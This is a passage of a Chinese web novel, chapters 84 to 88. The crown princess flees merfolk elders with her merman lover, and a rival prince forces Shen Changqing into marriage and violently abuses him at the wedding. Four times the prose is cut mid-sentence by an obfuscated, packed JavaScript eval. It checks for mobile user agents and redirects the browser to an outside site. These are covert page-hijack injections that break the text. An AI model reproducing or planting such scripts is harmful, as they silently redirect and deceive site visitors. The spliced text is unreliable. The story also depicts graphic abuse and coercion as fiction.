“一群废物,若你们一起上尚有头发丝那么细的一丝成功几率。” 她负手而立,也不管对面的七个雌性鲛人她气得胸膛剧烈起伏。 君羲甚至还有闲心观察周围的环境。 难怪!没有人找到过南海鲛人一族的聚居地,原来鲛人族真的位于深海海底,奇特的是,到了深海最深处反而没有让人窒息的水压、海水的填充,就算是人族也能在此顺利活下去。 “不知天高地厚!” 君羲灵活一躲,擂台上的七个雌性鲛人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666053|172981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,武功最高的也不过六重武者,还不如她中五石散后,根基受损的内力。 “搞偷袭?” “碰!” 君羲伸出一只手,然后弹起一根食指。 “一个。” “欺人太甚!” 周围的鲛人总算被激怒,蜂拥而上。 君羲等的就是这个机会,狼如杨群般所向披靡。 若是一个个地打过去,就会违背对阿西的承诺,温酒变凉之前不可能打完。 只有一网打尽,才能够加快她解决问题的速度。 被君羲一掌打飞,正在吐血的那个雌性鲛人试图提醒擂台上剩下的人,别硬扛! 她们打包在一块都打不过对面这个女人,因为她清楚地感知到那一掌君羲不过才用了五成功力而已。 说明这女人的内力深不可测,远远不是她们能比的,不过一个男人罢了,不值得她们为了他搭上自己! “撤。” “想走,问过我的意见了吗?” 君羲沉下眸,周身气势骇人。 “咚!碰!铛……” 不过短短几个呼吸间的功夫,擂台上便胜负已分。 围观的鲛人咽了咽口水,外面的人类都这么厉害的吗? 太可怕了,要知道台上的七个雌性鲛人可都是族中长老亲自培养出来的继承人,她们居然都不是溟汐的对手。 “阿汐,酒没凉吧?” 溟汐全然被君羲迷住了,君羲为他而战的画面让他终生难忘。 他任由女人捧起他的脸,乖乖地摇头。 “没有。” 君羲:可爱**。 吧唧一口亲溟汐唇上,她刚刚同她们比赛可是下了重手,想必,今夜不会太平了。 为了保证计划能够顺利进行,溟汐是不能出一点差错的。 君羲央着溟霜取她心头血一小瓶,用内力亲手制作了一个和溟汐送给他的琉璃瓶。 一样的材质、图案,一看便知道是一对那种。 “阿汐,别怕,孤会保护你。” 时间飞快流逝,夜幕降临。 鲛人族老被惊动,盛怒之下,险些毁了鲛人族隐居地。 “好大的胆子!居然敢伤我的孙女!” “可怜我的孙女,今年不过才双八年华,便被废了经脉,成了一介废人,都怪那个心狠手辣的女人!” “依我看,不如……” 那身材偏瘦的族老比了个划脖子的动作。 一番激烈讨论后,她们终于如君羲所愿,倾巢出动,追杀她。 人算不如天算,君羲没想到的是,她不通水性,刚跑出一段距离,就差点被淹死…… “她们在那!给本族老追!” 溟汐心中焦急,后面的族老都是黑心老怪,不能被抓住! 他带君羲来鲛人族时,是和她共享鲛珠,这才保证了君羲能够在深海中呼吸。 但是,短时间内,鲛珠只能共享一次。 鲛人族族的是天生的福祉,有一个天生的透明屏障将海水全都阻拦在外,就是想到这个,溟汐才将君羲带了回来。 谁成想…… 溟汐抱着君羲,不管了,长长的黑色鱼尾一摆,冲出包围圈。 大量鱼群围绕在她们周围,身后是凶神恶煞的追兵,身前是越来越蓝的海水,鱼群在周围起舞,游来游去。 天光穿透大海,从海里往外看,像极了绚丽的极光。 “唔……” 溟汐一边抱着君羲往上游,一边给她渡气。 蔚蓝的深海中,窒息的眩晕里,雄性鲛人和人类女人唇齿相交,呼吸深深交缠。 “羲羲,我爱你。” 身为鲛人族皇族血脉的海中霸主——溟汐,终于全心全意甘愿拜倒咋就君羲石榴裙下! 第85章 阿汐,我也爱你 湿冷的海水将溟汐和君羲包围,强烈的窒息感让君羲意识空茫,唯一能清晰感受到的,是男人温柔的渡气。 她第一次见溟汐在海水中的模样,矫健有力,快如闪电。 真不愧是她的夫郎。 她大口大口接过男人渡过来的空气,溟汐吻得忘情,也不忘用锋利的尾回击追兵。 他喜欢这种被女人全身心依赖着的感觉,有种君羲非他不可的错觉。 任何存了打扰心思的人,都会被他毫不犹豫地抹杀! 水中,一切声音都显得很寂静。 追来的鲛人都是族老的亲卫,装备精良、悍不畏死。 她们只抱着一个目的,杀了君羲。 唰、唰…… 利尾划破肌肤,鲛人族特有的蓝色血液溢出,犹如蓝色的墨液滴入海水中,很快便消弭于无形。 唯有淡淡萦绕在鼻间的血腥味能够证明这场厮杀的存在,不,或许根本算不上是厮杀,而是溟汐单方面的**! 他抱着君羲迅速往上游,渐渐地,能看见渐亮的天光。 海天交接之处,一线红色将海天分隔开来,并将周围淡淡的云彩渲染层亮目的暖色。 噗! 出水声响起,海面上浮现一圈鲛人尸体。 溟汐抱着女人,露出海面。 二人的长发,一银一黑,如同这世上最柔顺的丝绸,随着波动的海面纠缠又分开,分开又交缠。 淡淡的金光洒在二人的脸庞,以及交缠的发上,宛如一场绮丽的梦境。 “羲羲,她们没伤到你吧?” 刚出海面,溟汐就捧着君羲的脸左右查看,生怕他没有将女人保护好。 君羲此刻大口大口呼吸着新鲜的空气,缓解窒息的感觉,生理性泪水不由自主从眼角溢出,看上去水光盈盈,惹人怜爱。 她微微摇头,声音也软绵绵的,让溟汐心疼。 “阿汐,孤没事。” 虽然君羲说自己没事,但溟汐还是很自责。 他觉得是自己没有将女人保护好,所以才让君羲现在这般虚弱,不复以前的意气风发、耀眼夺目。 怜惜中夹杂着愧疚的吻,落在女人的眼角。 “羲羲,我们暂时还不能停下,新的追兵很快就会到。” 溟汐纵然实力高强,但终归是一个人。 鲛人族的七位族老把控鲛人族时间已久,势力根深蒂固,面对族中七位族老的联合追杀,溟汐能做到将君羲毫发无伤送出,已经是很厉害了。 而且,只要君羲一刻没离开南海范围,自身就会多一分危险。 溟汐对族老的心狠手辣深有体会。 既然出手了,就绝对不会喊停。 所以,他们现在很危险。 认真的男人最帅,君羲看着一心为她着想,满目认真的溟汐,心中触动又多了一分。 “阿汐,别忘了,孤也不是软柿子。” 算上在鲛人族的这三日,凤羽军后出发的十万大军想必此刻已经兵临漾州、绥州。 而她早早便让溟朝去通风报信,凤羽军之所以被称为神兵,是因为凤羽军几乎无所不能。 包含水军、步兵、轻骑兵、重骑兵…… 凤羽军士兵,以一挑百可不是戏言。 君羲眯起眼,根据升起的朝阳辨别方向,素手一指。 “阿汐,朝那边去。” 溟汐信任君羲,问都不问缘由,头也不回地拨开周围的鲛人尸体,朝着君羲手指的方向游去。 君羲被溟汐护在怀中,双手环抱在男人性感的脖颈上,从她的角度,能看到男人微动的喉结,线条明晰的下颚线,以及抱着她腰身的有力臂膀。 肌肉线条流畅,染上水被朝阳的光照上,原本冷白的肌肉呈现出诱人的蜜色。 君羲想起……这双臂膀难耐又克制地掐住她细腰时,是强势不容拒绝的。 但当这双臂膀温柔轻抚她轻抖的后时、替她稳住摇摇欲坠的身体时,又是温柔充满爱意的。 上一世,她对溟汐的宠,来得肤浅又短暂。 这一世,了解溟汐了解得越深,她就越发喜爱这个一心是她的男子。 溟汐的每一面,她都好喜欢。 或许是吊桥效应,又或许心中坚冰融化。 君羲此时此刻,对笼罩在金色暖光中的溟汐,心中的爱意达到了顶峰。 她将侧脸埋在男人的胸膛,听到平稳有力的心跳。 一个虔诚的吻,在朝阳晨曦中,轻轻又郑重地落在溟汐的心口上。 “阿汐,我也爱你。” …… 花开两朵,各表一枝。 沈长卿本以为自己真的要**,临死前,上一次的种种记忆在他脑海中不断地浮现。 他终于看到自己和君明月的悲惨结局…… 沈长卿满心愤怒,原来,上一世他就死得惨烈。 身体在不断地下沉,灯光交映的湖面离他越来越远,身后的黑暗宛如一张巨兽的大口,要将他一口吞下,再也不见天日。 沈长卿好恨,恨老天明明给了他重生的机会,却让他重生了记忆,并不完全。 恨君羲明明**,却还连累他和爱人被愤怒的百官、百姓处以极刑,全尸都没有留下一具。 恨君羲这一世不按上一世来,让他无辜枉死…… 好恨! 沈长卿双目充血,一连串水泡从他口中吐出,他能感觉到,自己马上就要**。 谁…… 谁能来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666054|172981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救救他。 他真的不想死! 堂堂漾州第一公子,才貌双绝,如今却死得这样悄无声息,让沈长卿如何心甘? 沈长卿瞪着一双眼,大到骇人。 好像真的有人…… 沈长卿看到有几道身穿黑衣的身影朝他游来,支撑他坚持到现在,紧绷着的弦一松,他整个人意识陷入了黑暗。 只依稀记得,他被人救了。 岸上传来焦急的呼救声。 “有人落水了!” 紧接着,他的腹部被人用力地按压着,沈长卿睁开眼,尚未看清救他之人的容貌,便听到周围越来越嘈杂的议论声。 “王爷!不行!你腿有伤……” “是长卿公子?” “真的是他,安王和长卿公子……” 安王? 沈长卿脑海中浮现一个名字,君凌。 夜间的风凉,尤其是沈长卿浑身都被水浸湿了,此刻不由自主地朝暖源靠近,四肢紧紧缠在女人身上。 沈长卿显然还对险些溺死的事情心有余悸,君凌就是他的救命稻草。 沈思文听到消息赶来,还在心中一直安慰自己,他们撞见的人说不定只是和长卿有些相像…… 她还做着飞黄腾达,成为当朝太女岳母的美梦,却在跌跌撞撞挤开人群,看到湿衣相拥的男女时,深觉天塌了! “长卿!” 陡然尖厉的嗓音吓周围人一跳,也唤回了沈长卿的思绪。 抱着君凌的手蜷缩,他脸色一白,唇瓣嗫嚅,有些难以置信。 “安王殿下,是你救了我?” 君凌从沈长卿的眼中看出了明晃晃的抗拒和厌恶,这让她心里扭曲地感受到愉悦。 像湿冷的蚂蝗,她冰凉的手抚摸在沈长卿瑟缩的脸蛋上,看似温柔,却让沈长卿浑身发抖。 “是啊。” 她画风一转,转而剧烈咳嗽起来,咳嗽声震天响地,仿佛要将肺都咳出来。 君凌的人会意,按照君凌的吩咐大声指责沈思文。 “沈县丞,王爷乃是千金之躯,为了救贵公子险些把自己搭进去,这笔账……安王府会好好跟沈府算算。” 她语带威胁,伸手欲扶君凌起身。 君凌摇了摇头,“不可无礼,不过举手之劳,何足挂齿?” 她歉意松开沈长卿,接过一旁女侍给她送来的披风,亲手系在沈长卿身上。 “本王身体不打紧,就是连累了长卿公子的名声,哎……” “若是长卿公子不嫌弃,本王愿迎娶你做本王的侧夫,就当做补偿了。” 她浅笑着,听着周围人对沈长卿议论纷纷。 众口铄金,积毁销骨。 沈长卿,你嫁还是不嫁? 第86章 喜闻乐见,沈长卿被逼迫 君凌就是典型的笑面虎,沈长卿看出君凌眼底暗藏的压迫和势在必得的决心。 他心中苦涩,为何…… 偏偏救他的人,是君凌。 君凌双腿残废,性格阴晴不定,尤其喜欢在床笫间折磨男人。 她娶过三任王夫,都是被残忍折磨而死,更别提那些地位的小侍。 他一点也不想嫁给君凌,但沈长卿明白,事到如今,已经不是他说不愿就能不嫁的了。 众目睽睽之下,湿身同一个女子抱在一起,已然是没了清白。 “我……” 君凌温柔摸了摸沈长卿湿透的发,温声安慰道: “别害怕,无论你做什么决定,本王都会毫无保留地支持你。” 沈长卿想躲,溺水后浑身无力根本躲不开,只能感受像被蚂蝗附在身体上,紧紧吸附、吸血的可怕。 他还能说否定的答案吗? 沈长卿最是知道什么叫做识时务者为俊杰,他现在还没有和一国王爷叫板的资格。 若是,明月在这里就好了。 沈长卿脑中灵光一现,对啊,明月在这里! 明月身份可比君凌尊贵多了,若是明月开口向君凌讨要他,想必君凌根本不敢拒绝。 他扛着压力不愿开口答应,余光焦急地扫视四周,企图在人群中,寻找到熟悉的身影。 可是,为什么没有?! 偏偏君凌还不放过他,问道: “怎么,长卿公子可是还有什么顾虑?还是说……” 君凌面色一冷,语气不善。 “漾州第一公子自持身份,看不上本王的侧夫之位?” 沈长卿还未回答,他真的不甘心,好不容易重活一世,君羲对他并没有生出强取豪夺之心,他可以同心爱之人厮守一生。 君明月就在这里,他不愿和她再次错过。 君凌周身气压越来越低,她误以为沈长卿在寻找的人是君羲。 沈思文的算计并不高明,君凌在沈府有眼线,轻而易举就能猜到沈思文母子的想法,无非是想攀龙附凤、企图一步登天。 君凌厌恶君羲,她不明白,为什么有人愿意送上自己最宠爱的儿子讨好一个**? 难道就因为君羲的太女身份? 君凌原本没打算救沈长卿,她坐在小舟上,眼睁睁看着沈长卿绝望溺水。 最后关头,她看到了沈长卿眸底极致的恨意,敌人的敌人,就是她的朋友。 于是,君凌下令,让手下救了沈长卿。 但她君凌,从来不做赔本的买卖,沈长卿姿色不错,可以做她手中赏心悦目的那一颗棋子。 “长卿公子在看谁?” 君凌语气危险,任谁都能从她压低的气场中,看出她已经怒极。 “难不成,长卿公子是有了心仪之人?” “如此说来,倒是本王做了棒打鸳鸯的恶人,对不住啊。” 君凌三言两语,便将沈思文母子架在火架上烤,字字句句看似真诚恳切、有理有据,实际上,每一句都是在将沈长卿往火堆里推。 大凰王朝,男子同女子私奔,是死罪。 甚至会连累族中兄弟,更有甚者,会拖累整个家族。 沈长卿脑子很乱,周围站着的人群,对着他指指点点,就好像他是什么水性杨花的荡夫。 他何曾受过这样的委屈? 他一时没反应过来,沈思文明明给他说了,君明月就在画舫上,为何迟迟不见她露面。 沈思文再一次替沈长卿做了决定,“扑通”一声重重跪在地上,膝行着到君凌面前。 “安王殿下言重了,小儿蒲柳之姿,岂敢肖想王爷千金之躯?” 君凌并不满意沈思文推诿般的回答,看来,在这位沈县丞心中,她和当朝太女比起来,只不过是一堆烂泥。 可惜,她沈思文母子越是想拒绝,君凌就越想抢夺沈长卿。 她很好奇漾州第一公子被压在身体下的滋味究竟如何?同南风馆中的小倌又有何区别? “沈县丞不必多说,既然是本王毁了贵公子的清白,那便会负责到底。” “三日后便是良辰吉日,本王会亲自过府,迎娶沈家嫡长子——沈长卿为侧夫。” 君凌最后拍了拍沈长卿的脸,借着手底下人的力度重新蜷缩在轮椅上,眉眼阴鸷。 “长卿公子可要准时赴约哦,不然,本王生气起来,可是会屠你满族的~哈哈哈。” 沈长卿捏紧拳头,终于回想起沈思文的不对劲。 从始至终,都是他亲生母亲布下的骗局,是为了让他攀附权势,然后带领家族再创辉煌。 沈长卿失魂落魄跌坐在地,明月根本没在这,他除了嫁给安王,别无他法。 更何况,只要不是嫁给君羲,沈思文的野心就得不到满足。 这是他对沈思文的报复。 不是把他当做攀附权贵的工具吗?他要让沈思文知道,工具脱离掌控,变作尖刀,反捅一刀的感觉。 沈长卿坚定了神色,反正明月不在这,嫁给谁都无所谓。 他的心里永远装着明月一人,这便足够。 沈长卿想清楚了这些,眼眶里含着泪水,扬起一抹浅笑。 “王爷,臣子愿意。” “哦?” 君凌盘着手腕上的檀木珠,眼底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666055|172981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神色不辨喜怒,手动推着轮椅行驶到沈长清跟前,强势抬起他苍白湿冷的下巴,眸光带着浓浓的审视意味。 “长卿公子真的愿意?不觉得嫁给一个残疾人委屈了?” 沈长卿梗着脖子,就像一只引颈就戮的天鹅。 有上一世的记忆帮助,沈长卿清楚知道,对付不同类型的女人,该摆出怎样的姿态。 就比如…… 面对性格阴晴不定,爱掌控男子的君凌,扮演楚楚可怜、毫无反抗之力的脆弱天鹅,便能在最大程度上激起他对弱者的怜悯和满足他病态掌控欲的快感。 他要一步一步,夺得君凌的心,然后进一步掌控,才好为他和明月筹谋一个未来。 “回安王殿下话,臣子对安王殿下仰慕已久,刚刚不过是溺了水之后还心有余悸,这才反应慢了些。” 他悄然红了脸,身若蚊蝇。 “能嫁给殿下,是我八辈子修来的福分,怎会不愿?” 君凌看着说谎不脸红的沈长卿,捏住他苍白下巴的手,愈发用力了些,很快便出现了一道红痕,看上去刺眼极了。 “既如此,本王便安心了。” 沈长卿主动将脸贴在君凌手腕,羽毛落在湖面般,轻蹭。 “殿下,长卿在沈府等你迎娶。” 沈思文目眦欲裂,脑子里一阵阵发黑。 精心培养出来的绝色儿子没能帮她攀附上大凰王朝最珍贵的女子,反而嫁给了一个双腿残废的废物。 “不……” 安王冷眼,沈思文抖了下身子,终归是什么都没说。 但她实在郁闷,天时地利人和!她不明白,究竟为何会棋差一招? 沈思文闭了闭眼,心中悲嚎,苍天无眼啊! “岳母大人可是不同意本王和长卿的婚事?” 君凌相对君羲来说,是手下败将,但对沈思文来说,就是盘踞在漾洲、绥州的土皇帝,根本不受任何约束。 明明之前,君凌从未表现出对沈长卿有意思,怎么偏偏这次坏了事? 沈思文悔不当初,越想越气,美梦破碎,野心夭折,她眼睛滴溜溜一转,若是操作得当,沈长卿嫁给君凌还有可能变成意外之喜。 她身为女人,最清楚天下女人的劣根性。 家花不如野花香,野花又不如抢的花香。 妹妹的夫郎,啧啧,还是死对头的夫郎,被不情不愿娶进去的弱男子…… 沈思文似乎幻视了君羲对沈长卿一见钟情的画面,也就不在阻拦。 “王爷千岁,臣愿意将嫡长子许配给王爷。” 君凌点点头。 “如此甚好。” 第87章 轮椅压手,还不快滚起来拜堂? 沈长卿瘫软在君凌怀里,看着自己的婚事被母亲当做筹码押注,三言两语定下了潦草婚期。 他突然有一种荒谬感,世事当真如此阴差阳错? 苦心谋划却求而不得。 两世为人,他不过想和心爱的女人一生一世一双人,这么渺小的心愿,都不能得偿…… 沈长卿和君凌的婚期定在三日后,恰巧是君羲和溟汐二人逃离海底追杀的时间。 也是—— 凤羽军大军压境,倭寇进犯海岸线的日子。 三月初七,黄道吉日,迎亲唢呐声响起。 漾州第一公子,无数女子的梦中情夫嫁人了。 没有十里红妆,更没有三书六礼,明媒正娶。 一台水红色小轿,送亲队伍抬着简陋敷衍的嫁妆,从偏门进了安王府。 沈长卿眼泪都快哭干了。 上一世,他被君羲看上,沈氏一族得知他即将入宫伺候帝王,无不兴高采烈,给他备的嫁妆倾尽沈氏一族百年大半积累。 哪像现在这么上不得台面。 他回想起母亲失望的眼神,以及族中人如丧考妣的脸色…… 哪里是接亲?更像是奔丧。 同一时间,安王府。 君凌娶沈长卿本就是一时兴起,只不过是为了恶心君羲罢了。 弄清楚事情来龙去脉后,君凌那就是一个后悔,原来,君羲喜欢的人,自始至终都不是沈长卿。 而且,就算中了烈性**,也不愿碰沈长卿半根手指,反而将他丢进千羽湖自生自灭。 “王爷……” 汇报那人嗓音都颤抖了,自从她说完真相后,王爷就黑着一张脸,跟谁欠了她百万银一样。 君凌心头怒起,君羲中了药都不屑碰的男人,她却眼巴巴救了回来,还一顶喜轿抬进安王府。 岂不是在昭告天下人,他捡了君羲不要的破鞋? 君凌磨了磨后槽牙,无比痛恨昨夜不明真相强娶沈长卿的自己。 “退下。” 那下属如蒙大赦,赶紧低下头,弯着腰退了出去。 君凌坐在轮椅上,特意穿了一身白衣,衬得她那张因长期心情不愉而变得阴柔狠戾的脸越发可怖。 “侧夫呢?” “回殿下的话,侧夫已经进了偏门,此刻应当已经在月影院中等着殿下了。” 君凌一肚子气没处撒,枯瘦苍白的手指死死抓住轮椅的扶手,若不是沈思文母子俩诡计多端,他怎么会被蒙蔽双眼,娶了沈长卿? 既然嫁给她了,那就好办了。 君凌恶意满满地勾起唇角,希望沈长卿能经受住她的“疼爱”。 “推本王去月影院。” 月影院,沈长卿盖着水红色盖头,由于婚期仓促,他身上的喜袍是由旁的喜袍改造而成,某几处针脚显得随意粗糙,甚至衣袖还短了一节。 沈长卿拼命控制动作,这才不至于将手腕裸露在外,丢人现眼。 人生有四大喜,久旱逢甘霖,他乡遇故知;金榜题名时,洞房花烛夜。 本该是人生大喜的日子,成婚的新郎新娘却一个故意身穿白衣,想找新郎晦气,一个以泪洗面,不甘不愿,哭丧着一张脸。 君凌不重视这场婚礼,根本没请宾客,整个安王府,只有月影院挂了一些红绸,能证明这场荒谬简陋的婚事存在。 嘎吱嘎吱…… 轮椅碾压过地面,发出嘎吱嘎吱的响声,沈长卿想起昨夜阴鸷逼人的女人,如同惊弓之鸟暗,身体瑟缩了一下。 他好怕。 咚! 咚! 咚! 门外的君凌就像在故意折磨沈长卿的心理防线一般,一下隔着一下,敲门声显得诡异而沉闷。 她的嗓音犹如毒蛇般,阴冷嘶哑,让人心里渗得慌。 “爱夫,准备一下,拜堂了。” 沈长卿诧异,君凌不是派心腹告知他不必拜堂吗,怎的又突然改了主意? 她心里到底在打什么算盘? 不知为何,沈长卿的手臂突然炸起鸡皮疙瘩,心里面也****的,有种不祥的预感。 他本打算装哑巴,但外面的敲门声不依不饶,就像索命的厉鬼一样,非要得到他的回应,才肯离去。 沈长卿无法只得回了一句。 “好,准备好就来。” 其实也没什么好准备的,简化了婚礼前的各种流程,没有绣郎精心缝制半年以上的喜袍…… 此刻他身上穿戴的,便已经是沈家愿意给的了。 但沈长卿打心眼里惧怕见到毒蛇一样的君凌,抱着能拖一会儿算一会儿的想法,迟迟不肯去喜堂。 君凌已经在临时布置的喜堂等了好一会儿,左等等不到,右等也等不到。 “嗤。” 沈长卿胆子很大嘛,刚嫁进来第一天做侍,就敢堂而皇之,不将她这个妻主放在眼里。 正当安王等得不耐烦想要起身,派人去月影院将人抓回来,强制同安王拜堂时,沈长卿终于姗姗来迟。 “出门打扮的时间多了些,让王爷见笑了。” “行了,别说那些了,快来拜堂成亲吧。” 拜堂成亲? 沈长卿看清喜房布置后,倒吸一口冷气,强行忍住拔腿就跑的冲动,唇角勉强上扬。 “殿下,是不是来错地方了?” 沈长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666056|172981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卿声音颤抖着,喜糖里面摆的根本不是寻常装饰,而是三口黑漆漆的大棺材。 金色的奠字夺人眼球,也让沈长卿害怕地往后退了三步,若不是君凌强行攥住他的手,把他往棺材面前拖,沈长卿早就狼狈奔逃了。 “王爷,不要……” “呵,由不得你说不要。” 君凌见沈长卿面色难看,心里舒服极了,她就是典型的自己心里不舒服,也要让别人不舒服的典型。 别看君凌坐在轮椅上,看上去只是一个残废,但想钳制住四肢不勤的沈长卿,轻而易举。 沈长卿几乎是被君凌硬生生往棺材面前拖,下半身在地上拖行,磨得生疼。 君凌就是故意折磨沈长卿,看着他凄惨求饶的样子,她却笑得愈发快活。 “哈哈哈……” “真不愧是漾洲第一公子,哭起来真是好看呢!” 沈长卿拼命摇着头,想要摆脱女人的桎梏,却不得其法。 反而激怒了君凌,只见残忍的女人一把拉低他的身子,拽住他的头发,头皮被扯得生疼。 然后,君凌将沈长卿狠狠往棺材上一撞,头破血流。 凄惨地惨叫一声。 “啊——” 疼,好疼啊。 鲜血顺着脸颊流下,血红一片,模糊了他的视线。 沈长卿呜咽一声,被伤害时,身体本能地想蜷缩成一团规避外界伤害,但却无能为力。 碰! 沈长卿的头又被君凌扯着往棺材上撞,血流得更多,他甚至觉得四肢在发凉。 难不成那晚没有溺死在千羽湖湖底,现在却要死在喜堂上? 他听到君凌嬉笑着,像个疯子一样,凑近他的耳畔,嘶哑着嗓音告诉他。 “爱夫,这里面都是本王娶过的历届王夫,都是上了皇家玉蝶的,你刚过门,理应给他们敬茶。” 沈长卿的头被撞得稀巴烂,在他快要晕死过去时,君凌若有所感,提起他的头,丢垃圾一样把他甩在地上。 “啧,真是不经折腾,爱夫有空,可得多多锻炼身体。” 沈长卿已经意识不清,抬了抬地上的手指,想要求救。 “疼……娘……” 君凌眼底神色疯狂,沈长卿果真不讨喜,喊什么不好,偏偏要喊娘,触动了她心里最深的伤疤。 嘎吱—— “啊!” 轮椅滚过,毫不留情碾过沈长卿手指,十指连心的疼痛让他痛不欲生。 君凌可不会有什么怜香惜玉之心,他冷冷扫视了一眼在地上凄惨狼狈的新郎。 “吉时马上就到了还躺在地上干什么?还不快滚起来拜堂。” 第88章 妻主,你的三个未婚夫郎也都到了呢 漾州边境,溟朝顺利抵达轻骑军落脚地,见到了凤轻。 “我知道了,你是跟我们一起回去还是在这里待着?” 凤轻能看出溟朝不是弱男子,但,他千里奔袭,一路上不眠不休,铁人也会累。 溟朝刚想说自己可以,想一起去救他的好兄弟,眼前阵阵发黑。 一路上,他脑海中一直紧绷着一根弦,想着要完成对君羲的承诺。身体的疲惫,加上精神的紧绷…… 在此刻骤然放松下来,自然坚持不住了。 凤轻自然而然接住昏倒的溟朝。 “你还是乖乖待在这里好好休息吧,我会将殿下和西公子救回来。” 殿下已经给她们指明了营救的方向,若是连这点小事都做不好,她也不配做凤羽军军中一员。 她将劳累过度导致昏迷的鲛人打横抱起,放进自己的营帐,又细心给他盖好了棉被。 走出营帐后,振臂一呼。 “太女殿下需要我等,诸位,随本将出征!” “杀敌军,救殿下!” 凤染一直盯着海岸线,发现最近的倭寇蠢蠢欲动。 有意思的是,这些倭寇的船就停留在距离海岸十里的地方。 他们既不前进,也不后退。 就仿佛在等,等某种确切的信号,只有等到这个信号后,他们才会进犯海岸线。 貌似是同某些人达成了利益关系,互惠共利。 从始至终,漾州、绥州的高官显贵们,都高高在上,享受着两州百姓的供养,锦衣玉食。 却把供养他们的百姓视作可以随意买卖的牲畜,简直是泯灭人性、猪狗不如! 凤染神色有些微妙,说起来,她能在短时间内将两州情况摸得一清二楚,全都多亏了拜月教的这两位公子。 她摸了摸鼻子,又是殿下的桃花劫,风流事。 “咳,事情就是本统领说的那样,现在,随我去接应太女殿下!” 拜月教不愧是天下第一大教,人力、物力、财力,都不是江湖中的小门小派可比。 现在千羽湖上停着数百艘坚固的战船,全是拜月教友情提供。 天知道凤染和凤轻都准备自掏腰包购买船只时,见到太女殿下未过门的侧夫大手一挥,百艘雄壮精巧的战船在湖面上一字排开,出现在她们面前时,到底有多震惊! 凤染:! 凤轻:! 真不愧是殿下! 殿下虽然不在凤羽军中,凤羽军中却处处留下了殿下的痕迹,就连他们使用的战船,也都是殿下的夫郎准备的。 今天也是被太女殿下魅力折服的一天呢。 凤染和凤轻二人对视一眼,都从对方眼中看到了对太女殿下浓浓的崇拜。 “凤轻,此行前去营救殿下,我将三千人马全部带走,大部队应当马上就会抵达两州边境。” “到时候你负责给凤羽大人传递信息,将所有叛徒、贪官府邸全都围住,等太女殿下回来,听候发落。” 凤轻在城郊驻扎时间太长,感觉骨头都快生锈了。 她并不想继续待在城郊,而是想去接应太女殿下。 凤轻喜欢和君羲并肩作战的感觉,君羲是一个好统帅,身先士卒,勇猛无双,和太女殿下一同战斗,每每都感觉热血沸腾。 这才是她们女儿郎该做敌人事情。 凤轻拱手抱拳,单膝跪地,主动请缨。 “属下愿领兵前往接应殿下和汐公子,之前都是属下照顾她们,殿下想必也习惯了属下的照顾,属下恳请统领成全!” 凤染:…… 凤轻不知道,凤染和她抱着同样的想法。 凤羽军之前忠于君羲不过是忠于储君,但她凤染,此行对太女殿下心服口服! 殿下才不是什么昏君**! 太女殿下一定能成为名垂千古的帝王! 凤染身为前线打探倭寇动向的第一人,自然知道,此去极有可能同倭寇对上到时候,她们面对的将是腹背受敌。 但凤染没有半分惧怕,反而斗志昂扬。 她很期待,太女殿下会如何率领她们突破困境,夺得胜利。 她伸手去扶凤轻抱拳的手,义正言辞道: “凤轻,你留下替殿下稳定后方,确保海岸线能让我们安全撤离。” “此行,本统领去即可。” 凤轻见状,嘴角微微,她们俩谁还不知道谁啊? 都是千年的狐狸,跟她在这儿装呢。 但谁让凤染官阶比她高一阶呢? 官大一级压**啊!凤轻心里暗下决心,此次南下剿灭倭寇定要立功,凤羽军奉行强者为王,只要她功绩足够亮眼,那完全可以上位,成为新一任轻骑军统领。 现在嘛…… 只能让凤染去了。 凤轻顺着凤染扶她的力道站起身。 “属下遵令!” 凤染身穿银甲,手持**,眉眼间是肃杀和凝重。 腹背受敌,大军未至,海上作战,必定是腥风血雨。 “随本统领出征!” 东方凌和东方炽不放心君羲,也幸好拜月教势大,才能封锁千羽湖,同时盯紧各方势力。 “凤染统领,我同阿炽也一起去。” 凤染为难,此去危险,她怕分不出神来保护东方炽和东方凌。 “这……” 